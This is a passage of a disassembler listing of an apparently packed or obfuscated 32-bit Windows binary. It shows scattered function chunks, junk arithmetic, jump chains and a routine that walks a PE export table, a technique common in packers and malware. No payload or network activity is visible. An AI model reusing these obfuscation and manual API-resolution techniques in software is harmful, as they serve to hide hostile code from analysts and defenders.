CHUNK AT 004263D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042721D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427292 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042736F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427921 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428004 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042850B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004288D4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428B1C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428BC1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428DEE SIZE 0000000B BYTES xchg esi, [esp+0] pop esi or eax, eax jmp loc_425D38 sub_427486 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_427491: ; CODE XREF: sub_42363F+1553j jo loc_425215 and edx, ebx jp loc_424067 jmp loc_424FB4 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- loc_4274A4: ; CODE XREF: hjohnhn9:00423D9Cj add eax, 381617F7h add eax, ebp push ecx loc_4274AD: ; CODE XREF: hjohnhn9:00427C39j push 332398CDh sub ecx, ebx jmp loc_425DF2 ; --------------------------------------------------------------------------- or ecx, 87CFD7Ch or ebp, 0ECC13577h jmp sub_42698F ; --------------------------------------------------------------------------- test edi, 0F8C6ADB3h jmp loc_426CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_4274D5: ; CODE XREF: sub_426D02+1B1Cj mov eax, [eax] mov [ebp-4], eax push 0E2FF0717h loc_4274DF: ; CODE XREF: sub_424928+3D1Dj pop eax add eax, 86D6B987h xor eax, 4E722E70h add eax, 9EEA912Ah jmp loc_42326A ; END OF FUNCTION CHUNK FOR sub_426D02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_4274F7: ; CODE XREF: sub_4244F5-13Dj push edx push eax ; END OF FUNCTION CHUNK FOR sub_4244F5 ; START OF FUNCTION CHUNK FOR sub_42304F loc_4274F9: ; CODE XREF: sub_42304F+19E5j mov eax, [ebp-18h] add eax, eax cdq add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 jmp loc_426EF9 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_42750E: ; CODE XREF: hjohnhn9:004234C5j ; hjohnhn9:loc_427989j call sub_424877 push 0B191C15Dh pop edx add edx, 2896EF22h or edx, 0EDE0DF48h add edx, 0B259B4B7h call sub_4279ED jmp loc_425CDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_427535: ; CODE XREF: sub_42325E+1FBDj pop ebx xor ebx, 0A02794A4h jns loc_4269A0 not ecx test ebx, 0D8609567h jmp loc_4231D4 ; END OF FUNCTION CHUNK FOR sub_42325E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_427550: ; CODE XREF: sub_423F65+104Aj jmp loc_428287 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_427555: ; CODE XREF: sub_4231AD+4j ; sub_4231AD+1B47j ... mov al, 1 jmp loc_424CFC ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_42755C: ; CODE XREF: sub_424564+8AFj ; sub_424564+1EA6j inc [ebp+var_4] jmp loc_42456D ; END OF FUNCTION CHUNK FOR sub_424564 ; =============== S U B R O U T I N E ======================================= sub_427564 proc near ; CODE XREF: sub_424D38:loc_428AACp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423A98 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00423D06 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004245D2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424AB9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00425CE7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426FE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427D81 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042825D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428906 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00428B22 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042901D SIZE 00000005 BYTES call sub_423369 loc_427569: ; CODE XREF: sub_423548:loc_423551j test al, al loc_42756B: ; CODE XREF: hjohnhn9:0042489Bj jz loc_424AB9 jmp loc_426FE9 sub_427564 endp ; sp-analysis failed ; --------------------------------------------------------------------------- shr edi, 0Eh jmp sub_4230E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42757E: ; CODE XREF: sub_4287BF+8BFj mov eax, [eax] add eax, [ebp-4] jmp loc_428888 ; --------------------------------------------------------------------------- loc_427588: ; CODE XREF: sub_4287BF:loc_4287D2j mov eax, [ebp-4] call sub_428436 test al, al jnz loc_4268DB mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jmp loc_42318D ; END OF FUNCTION CHUNK FOR sub_4287BF ; =============== S U B R O U T I N E ======================================= sub_4275A3 proc near ; CODE XREF: sub_42911Cj ; DATA XREF: sub_427C9B:loc_429112o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004231A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425CD0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426134 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042686B SIZE 00000005 BYTES lea eax, [ebp-14h] push eax push ecx mov ecx, ebx xchg ecx, [esp+0] jmp loc_42686B sub_4275A3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4275B2 proc near ; CODE XREF: hjohnhn9:00423875j ; hjohnhn9:00427E9Cp ; FUNCTION CHUNK AT 0042471E SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_424AAE xor ebx, eax mov [ebp-8], ebx push offset sub_426475 jmp loc_42471E sub_4275B2 endp ; --------------------------------------------------------------------------- loc_4275CA: ; CODE XREF: hjohnhn9:00425F10j or edi, ebp push edi add edi, edx shl ecx, 16h ; START OF FUNCTION CHUNK FOR sub_426354 loc_4275D2: ; CODE XREF: sub_426354:loc_425F00j or ecx, 0A4320A8Ah and ecx, 3F6B5DA7h jmp loc_4287E0 ; END OF FUNCTION CHUNK FOR sub_426354 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_4275E4: ; CODE XREF: sub_427F90+Fj jmp loc_428F6C ; END OF FUNCTION CHUNK FOR sub_427F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4275E9: ; CODE XREF: sub_423B05+168j jmp loc_4285EB ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_4275EE: ; CODE XREF: sub_423F65+Dj jnz loc_424F91 jmp loc_4252A4 ; END OF FUNCTION CHUNK FOR sub_423F65 ; =============== S U B R O U T I N E ======================================= sub_4275F9 proc near ; DATA XREF: hjohnhn9:loc_429089o var_4 = dword ptr -4 add eax, 9A703663h add eax, ebp add eax, 36415E00h mov eax, [eax] push esi mov esi, eax xchg esi, [esp+4+var_4] push offset sub_423444 jmp loc_4251E1 sub_4275F9 endp ; --------------------------------------------------------------------------- loc_427619: ; DATA XREF: sub_426B29+126Ao mov [ebp-0Ah], al ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_42761C: ; CODE XREF: sub_4262C5:loc_427C2Cj jz loc_42389B mov eax, [ebp-4] cmp byte ptr [eax], 0 call sub_428447 loc_42762D: ; CODE XREF: sub_428945+7j jmp loc_423288 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428249 loc_427632: ; CODE XREF: sub_428249+5j jmp loc_425BD8 ; END OF FUNCTION CHUNK FOR sub_428249 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_427637: ; CODE XREF: sub_424A78:loc_42380Bj xchg ebx, [esp-4+arg_0] mov ebp, ebx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42763E: ; CODE XREF: sub_4260BD-173Dj cmp dword ptr [ebp-8], 0 jge loc_426D9D jmp loc_424A12 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4270CF loc_42764D: ; CODE XREF: sub_4270CF+9j mov edx, ecx xchg edx, [esp+4+var_4] call sub_423B05 ; END OF FUNCTION CHUNK FOR sub_4270CF ; START OF FUNCTION CHUNK FOR sub_424698 loc_427657: ; CODE XREF: sub_424698+1B4Ej jmp loc_427CFC ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_42765C: ; CODE XREF: sub_426211-1CD4j jmp nullsub_106 ; END OF FUNCTION CHUNK FOR sub_426211 ; --------------------------------------------------------------------------- loc_427661: ; DATA XREF: sub_427486-272Eo popf xchg eax, [esp] jmp sub_4279ED ; --------------------------------------------------------------------------- loc_42766A: ; DATA XREF: sub_427C9B-2D20o push edi push 2E5D284Bh pop edi rol edi, 1Ch xor edi, 205893AEh rol edi, 1 add edi, 0DAC7B922h xchg edi, [esp] jmp loc_4239E7 ; --------------------------------------------------------------------------- loc_42768A: ; DATA XREF: sub_4282F8:loc_425BC8o pop ecx mov edx, [ebp+8] imul dword ptr [edx-4] push offset sub_425D47 jmp loc_425D60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240AE loc_42769B: ; CODE XREF: sub_4240AE+2D1Cj add esi, 0DD664860h or esi, 104BE9C1h add esi, 0A9F64686h xchg esi, [esp+8+var_8] jmp sub_426708 ; END OF FUNCTION CHUNK FOR sub_4240AE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424831 loc_4276B6: ; CODE XREF: sub_424831+19j jmp loc_424405 ; END OF FUNCTION CHUNK FOR sub_424831 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_4276BB: ; CODE XREF: sub_424A28-1FCj jmp loc_4289C5 ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_4276C0: ; CODE XREF: sub_42325E-10Aj jmp loc_427140 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4276C5: ; CODE XREF: sub_424631:loc_42729Dj push eax cmp dword ptr [ebp-14h], 6 setz al call sub_42392D pop ecx shl eax, 3 mov edx, [ebp+8] jmp loc_428E16 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- add ebp, 0B3275500h adc ecx, eax jmp sub_426C09 ; --------------------------------------------------------------------------- loc_4276EB: ; DATA XREF: sub_428E98-400o mov ebp, [eax] add eax, 4 mov edx, [eax] call sub_4247F4 ; START OF FUNCTION CHUNK FOR sub_42325E loc_4276F7: ; CODE XREF: sub_42325E+BFAj jmp loc_423A82 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4276FC: ; CODE XREF: sub_426A78:loc_4233C8j push esi mov esi, ecx xchg esi, [esp+4+var_4] call sub_424819 loc_427707: ; CODE XREF: sub_42855B-5231j jmp loc_4250EF ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- shr ebx, 9 jmp sub_4247F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_427714: ; CODE XREF: sub_4260BD+222Dj xor edx, 8CF583B7h push 0FAB69B54h jge loc_42514C not edx jmp loc_427947 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230E0 loc_42772C: ; CODE XREF: sub_4230E0:loc_425D9Ej sub ebx, 0DDEDB4E8h add ebx, 0F671D69Ah rol ebx, 1Fh add ebx, 7DDFD362h xchg ebx, [esp-4+arg_0] jmp sub_427A36 ; END OF FUNCTION CHUNK FOR sub_4230E0 ; --------------------------------------------------------------------------- loc_427749: ; CODE XREF: hjohnhn9:00427062j jle loc_427240 ; =============== S U B R O U T I N E ======================================= sub_42774F proc near ; CODE XREF: sub_427A58:loc_423F10p xchg eax, [esp+0] pop eax call sub_426741 mov eax, [ebp-4] mov esp, ebp pop ebp jmp nullsub_28 sub_42774F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427763: ; CODE XREF: hjohnhn9:0042638Ej js loc_42872A cdq jl locret_424AB3 jmp loc_428AD8 ; --------------------------------------------------------------------------- loc_427775: ; CODE XREF: hjohnhn9:loc_423801j mov ecx, offset loc_425071 jmp loc_4232A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424377 loc_42777F: ; CODE XREF: sub_424377:loc_424E8Aj mov [ebp-8], edx mov [ebp-4], eax mov edx, [ebp-8] mov eax, [ebp-4] jmp loc_4264DE ; END OF FUNCTION CHUNK FOR sub_424377 ; --------------------------------------------------------------------------- loc_427790: ; CODE XREF: hjohnhn9:004267A7j not edx ; =============== S U B R O U T I N E ======================================= sub_427792 proc near ; CODE XREF: sub_42304F:loc_424F43p ; FUNCTION CHUNK AT 004252AF SIZE 00000012 BYTES xchg edi, [esp+0] pop edi mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] jmp loc_4252AF sub_427792 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4277A2: ; CODE XREF: sub_424631-307j mov eax, [ebp+8] cmp dword ptr [eax-14h], 4 jnz loc_426619 mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_426619 cmp dword ptr [ebp-10h], 0 jmp loc_424F09 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D0E loc_4277C5: ; CODE XREF: sub_428D0E:loc_423B92j mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] ; END OF FUNCTION CHUNK FOR sub_428D0E ; START OF FUNCTION CHUNK FOR sub_426F85 loc_4277CE: ; CODE XREF: sub_426F85+1D84j add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] mov eax, [eax+18h] dec eax jmp loc_42726D ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4277E0: ; CODE XREF: sub_425BD2+3B5j js sub_425EA9 mov ebx, edx loc_4277E8: ; CODE XREF: sub_425BD2:loc_428B34j call sub_424877 mov edx, 0D504D785h call sub_4279ED push ebp mov ebp, eax jmp loc_428CAA ; END OF FUNCTION CHUNK FOR sub_425BD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_427800: ; CODE XREF: sub_424A78+1B6j jmp sub_427FCE ; END OF FUNCTION CHUNK FOR sub_424A78 ; =============== S U B R O U T I N E ======================================= sub_427805 proc near ; DATA XREF: sub_426354+5E8o jnz loc_425ED0 call sub_426098 sub_427805 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427810 proc near ; CODE XREF: hjohnhn9:0042526Bj ; sub_428D1E+Bp ; FUNCTION CHUNK AT 00426B09 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx cmp edx, 7C61090Eh loc_42781A: ; CODE XREF: sub_42304F:loc_4282D3j jz loc_4243F2 jmp loc_426B09 sub_427810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_427825: ; CODE XREF: sub_423BC3+2EC9j jns loc_425F6E loc_42782B: ; CODE XREF: sub_423BC3:loc_4236BBj add edx, 0E53F644Bh add edx, ebp add edx, 984AE1Fh jmp loc_424C7B ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- loc_42783E: ; CODE XREF: hjohnhn9:loc_42430Fj xchg ebx, [esp] mov eax, ebx and ebx, edi jmp loc_4290F1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426961 loc_42784B: ; CODE XREF: sub_426961+16j jmp loc_4278A0 ; END OF FUNCTION CHUNK FOR sub_426961 ; --------------------------------------------------------------------------- loc_427850: ; CODE XREF: hjohnhn9:0042620Cj xchg eax, ebp ; =============== S U B R O U T I N E ======================================= sub_427852 proc near ; CODE XREF: sub_428271-16E4p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00424064 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004242E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425156 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F3A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426AA2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427F82 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042823F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428319 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428883 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428EF2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428F16 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx adc edx, [esp+4] jmp loc_425F3A sub_427852 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_427860: ; CODE XREF: sub_425CB3+B14j call sub_42897B push offset loc_424C6A jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- adc ebx, edx jmp sub_4235C9 ; --------------------------------------------------------------------------- locret_427876: ; CODE XREF: hjohnhn9:00424B2Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242A0 loc_427877: ; CODE XREF: sub_4242A0+Aj call sub_427463 loc_42787C: ; CODE XREF: hjohnhn9:00428472j jmp loc_42879B ; END OF FUNCTION CHUNK FOR sub_4242A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427881: ; CODE XREF: sub_425BD2+1D8Cj jmp loc_426F24 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42859A loc_427886: ; CODE XREF: sub_42859A+11j mov edx, 0B9726E5Ah push offset sub_425BD2 jmp locret_424207 ; END OF FUNCTION CHUNK FOR sub_42859A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_427895: ; CODE XREF: sub_426671-649j jz loc_423FD3 jmp loc_42631C ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426961 loc_4278A0: ; CODE XREF: sub_426961:loc_42784Bj rol eax, 1Dh or eax, 0F6D1A721h add eax, 4A7172h xchg eax, [esp+0] jmp loc_42681D ; END OF FUNCTION CHUNK FOR sub_426961 ; --------------------------------------------------------------------------- loc_4278B7: ; CODE XREF: hjohnhn9:0042683Bj xchg esi, [eax] ; =============== S U B R O U T I N E ======================================= sub_4278B9 proc near ; CODE XREF: sub_427A58-3B3Dp ; FUNCTION CHUNK AT 0042340D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00423948 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282CE SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov [ebp-4], eax loc_4278C0: ; CODE XREF: sub_427C9B:loc_4246F4j cmp dword ptr [ebp-4], 0 jnz loc_423415 lea eax, [ebp-125h] push eax jmp loc_423948 sub_4278B9 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423425 loc_4278D7: ; CODE XREF: sub_423425+9j jmp loc_4282D8 ; END OF FUNCTION CHUNK FOR sub_423425 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4278DC proc near ; CODE XREF: sub_42387A+2E17j ; sub_428CC9+1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423785 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00423D54 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042438A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00424BA3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424C01 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042515B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427A24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B35 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00427F70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042808F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00428571 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428FEC SIZE 0000001C BYTES push ebp mov ebp, esp push ecx mov esp, ebp xchg edi, [esp+0] mov ebp, edi jmp loc_427F70 sub_4278DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4278EC proc near ; DATA XREF: sub_4262DA+7o ; FUNCTION CHUNK AT 0042382E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042434F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004243F7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042740A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004279E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D42 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00427EAB SIZE 0000001D BYTES mov ds:dword_423940, eax jmp loc_427EAB sub_4278EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4278F6 proc near ; CODE XREF: sub_427A36j ; FUNCTION CHUNK AT 00423B97 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx push offset sub_428E65 jmp loc_423B97 sub_4278F6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_427904: ; CODE XREF: sub_427994-11F8j jz loc_423AE4 jmp loc_42469E ; END OF FUNCTION CHUNK FOR sub_427994 ; =============== S U B R O U T I N E ======================================= sub_42790F proc near ; DATA XREF: sub_426211-1CD9o add edi, 0FD021EE1h mov [edi], eax push offset loc_428FCC jmp loc_426BC5 sub_42790F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_427921: ; CODE XREF: sub_427486:loc_423246j jz loc_428004 ; END OF FUNCTION CHUNK FOR sub_427486 ; START OF FUNCTION CHUNK FOR sub_426354 loc_427927: ; CODE XREF: sub_426354-741j jmp loc_425E20 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_42792C: ; CODE XREF: sub_424877:loc_42465Aj jmp nullsub_67 ; END OF FUNCTION CHUNK FOR sub_424877 ; --------------------------------------------------------------------------- xchg ecx, [esi] mov [ecx], ebx adc edi, 9915B2EFh cdq add ecx, 35122E90h jmp loc_428004 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_427947: ; CODE XREF: sub_42466E:loc_424008j ; sub_4260BD+166Aj shr ecx, 1Bh ; END OF FUNCTION CHUNK FOR sub_42466E ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42794A: ; CODE XREF: sub_4260BD:loc_4282E4j mov byte ptr [ebp-20h], 30h inc dword ptr [ebp-10h] ; END OF FUNCTION CHUNK FOR sub_4260BD ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427951: ; CODE XREF: sub_426354:loc_423350j ; sub_423753+8j ... dec dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 0 jl loc_428DA6 jmp loc_427881 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- test eax, eax jz loc_42476D jmp loc_42500A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_427970: ; CODE XREF: sub_424631-6D1j call sub_427AEB call sub_423548 loc_42797A: ; CODE XREF: sub_424EC9+3B6Cj jmp nullsub_31 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42797F: ; CODE XREF: sub_42466E+1744j jmp sub_4279ED ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_427984: ; CODE XREF: sub_424A78-A7Bj jmp loc_426DAA ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- loc_427989: ; CODE XREF: hjohnhn9:0042506Cj jz loc_42750E jmp loc_4234C3 ; =============== S U B R O U T I N E ======================================= sub_427994 proc near ; CODE XREF: hjohnhn9:0042811Fj ; sub_428BCF+Fp ; FUNCTION CHUNK AT 004239EC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004261F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042678E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00427904 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi add esp, 8 mov [ebp-4], eax push 0C81D22B2h pop eax jmp loc_4261F1 sub_427994 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_4279A9: ; CODE XREF: sub_4279C0+63Fj mov eax, [ebp+var_4] xchg edi, [esp+4+var_4] mov ecx, edi pop edi pop ebp retn 4 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4279B6: ; CODE XREF: sub_426A78+7j jmp loc_427B1B ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_4279BB: ; CODE XREF: sub_42363F+4j jmp loc_425C7D ; END OF FUNCTION CHUNK FOR sub_42363F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4279C0 proc near ; CODE XREF: sub_4279C0-1603p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00423D42 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042446C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004249CC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042507B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425E85 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425F5B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004263B1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004279A9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427FF5 SIZE 0000000F BYTES push ebp mov ebp, esp jmp loc_423D42 sub_4279C0 endp ; =============== S U B R O U T I N E ======================================= sub_4279C8 proc near ; DATA XREF: sub_424C5F+Co ; FUNCTION CHUNK AT 00429013 SIZE 00000005 BYTES call sub_4262C5 push offset loc_42903E jmp loc_429013 sub_4279C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427324 loc_4279D7: ; CODE XREF: sub_427324+11A2j mov ds:dword_4252C4, eax retn ; END OF FUNCTION CHUNK FOR sub_427324 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4279DE: ; CODE XREF: sub_424161+1A62j jmp loc_4234B1 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4279E3: ; CODE XREF: sub_428477-3677j jmp loc_4287A5 ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_4279E8: ; CODE XREF: sub_4278EC-40B7j jmp loc_427D42 ; END OF FUNCTION CHUNK FOR sub_4278EC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4279ED proc near ; CODE XREF: sub_423B05-CAp ; sub_426F5A-30B5p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004244A3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424AA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C76 SIZE 00000005 